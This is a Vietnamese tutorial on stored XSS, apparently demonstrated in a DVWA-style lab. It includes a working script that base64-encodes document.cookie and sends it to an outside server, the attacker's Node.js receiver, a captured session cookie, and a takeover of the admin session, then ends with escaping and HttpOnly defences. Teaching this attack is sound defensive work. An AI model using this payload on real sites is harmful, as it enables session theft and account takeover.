1. Nội dung
- Giới Thiệu
- Cross-Site Scripting (XSS)
- Cách Phòng Chống
- Các Bài Viết Liên
2. Giới thiệu
- Cross Site Scripting (XSS) là gì ? Là một kiểu tấn công cho phép hacker chèn vào những đoạn script độc hại (thông thường là javascript hoặc HTML) vào website và sẽ được thực thi ở trình duyệt người dùng.. Các thông tin có thể bị đánh cắp qua XSS: Email, Mật khẩu, Cookie truy cập web nào đó của người dùng.
- Mục đích tấn công của XSS: Lấy Cookie của người dùng có thể để giả mạo phiên làm việc truy cập. Keylogging ghi lại những thao tách của người dùng, Phishing: thay đổi cấu trúc trang web hiện tại để đánh lừa người dùng: nhập username, password, thẻ tín dụng…
3. Cross-Site Scripting (XSS)
- Một kịch bản cho cách thức tấn công lỗi XSS như sau:
- User truy cập vào 1 trang web (của Malicious Attacker) hoặc nhận được mail, cái mà có chứa nội dung nguy hiểm
- User click vào link mà nội dung kẻ tấn công gửi cho. Nội dung của link chứa script, script này sẽ nhúng vào trang web mà kẻ tấn công muốn phá hoại
- WebSite bị tấn công sẽ thực thi yêu cầu không mong muốn của User thông qua script đã được nhúng
- Brower của người dùng thực thi script không mong muốn, có thể gửi các thông tin mà hacker mong muốn.
Xem xét các thức hoạt động
-
Web Application có một chức năng sau
-
Một ứng dụng web cho việc nhắn tin giữa các user với nhau. Người dùng nhập tên của mình và message muốn gửi cho toàn bộ người khác trong hệ thống. Member khác vào sẽ đọc được nội dung mà người khác đã gửi lên hệ thống. Chức năng này giống như chức năng comment của facebook. Mọi người đều đọc được hết các comment.
-
Để kiểm tra xem ứng dụng này có thể lợi dụng lỗ hổng XSS hay không ta có thể test với nội dung sau của message:
<script>console.log(“test xss!!!”)</script>
. Nếu Log trên được bắn ra thì ứng dụng này có thể lợi dụng lỗ hổng XSS để thực hiện hành vi không mong muốn với người khác. Để test chức năng này đặt security level: low. Load lại trang web thì thấy kết quả như sau thì sẽ có thể lợi dụng lỗ hổng XSS:
-
Nhìn vào kết quả trên thấy rằng hệ thống đang bị lỗi xss. Javascript được nhúng vào phần message vẫn chạy được một cách bình thường.
-
Khi hacker chỉ
alert(1); , console.log(“xyz abc”)
thì thấy rằng cái lỗi này chẳng có gì phải đáng lo lắng. Mà công nhận không đáng lo thật.
Phức tạp hóa vấn đề
-
Với ứng dụng này thử challenge bằng cách ăn cắp phiên làm việc của các victim nếu nhảy vào xem chức năng message trên.
-
Vai trò trong ví dụ
-
Hacker: user smithy của hệ thống
-
Victim: user admin của hệ thống
-
Mô hình test thử:
-
Nội dung của javascript để nhúng vào website nơi victim truy cập
<script>
var s = btoa(document.cookie);
var x = document.createElement("IMG");
x.setAttribute("src", "https://test-facebook-chatbot-dinhphi3916.c9users.io/xss?cookie=" + s);
x.setAttribute("width", "1"); x.setAttribute("width", "1");
document.body.appendChild(x);
</script>
- Nội dung gửi đi tới server hacker là cookie của trang website:
document.cookie
, dữ liệu được mã hóa dưới dạng Base64 dùng hàm bota - Lý do dùng Base64 là để có thể gửi cookie như một value.
- Để test tác giả dùng server cá nhân test
- Bên Server của hacker (dùng nodejs) có nội dung dạng như sau
app.get('/xss', function(req, res) {
var data = req.query;
var value = new Buffer(data.cookie, 'base64').toString();
console.log("GET HAVE A -------POST----- MESSAGE: "+ value);
res.sendStatus(200);
});
- Kết quả 1. Hacker nhúng javascript vào phần message
-
Kết quả 2. Victim vào phần message & trả về các message trong đó có message của hacker & gửi thông tin cookie tới hacker
-
Kết quả 3. Tại Server của hacker sẽ nhận được thông tin sau
GET HAVE A -------POST----- MESSAGE: PHPSESSID=t140lg2j16gbcnvimo05j7iis6; security=low GET /xss?cookie=UEhQU0VTU0lEPXQxNDBsZzJqMTZnYmNudmltbzA1ajdpaXM2OyBzZWN1cml0eT1sb3c= 200 1.735 ms - 2
- Kết quả 4. Hacker smithly đổi cookie PHPSESSID và refresh lại trang web
-
Như vậy với việc lấy được cookie, hacker smithy đã có thể vào với tư cách là admin. Đến đây smithy có thể làm mọi thao tác với quyền hạn mới của admin. Còn làm được gì thì tùy website.
-
Tưởng tượng lỗi này mà facebook bị dính, nếu Hacker vào được facebook của người yêu thì chắc là Hack được account của người yêu sẽ là một sai lầm khi đọc các tin nhắn :D:D:D
4. Cách Phòng chống
- Cách phòng chống lỗi XSS là ngăn chặn việc thực hiện javascript mà User có thể nhập vào. Dựa vào các hàm
escapse
trước khi insert vào DB - Một số hàm escapse
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
- Không cho phép các URL người dùng nhập vào có bắt đầu bằng http://, https:// để lợi dụng lỗ hổng :
<img src=’http://hacker-site..’>
- Không cho phép nhập dạng các
<script>
- Thiết lập
HttpOnly
với cookie để không thể lấy cookie bằng javascript của hacker nhúng vào
function setcookie ($name, $value = null, $expire = null, $path = null, $domain = null, $secure = null, $httponly = null)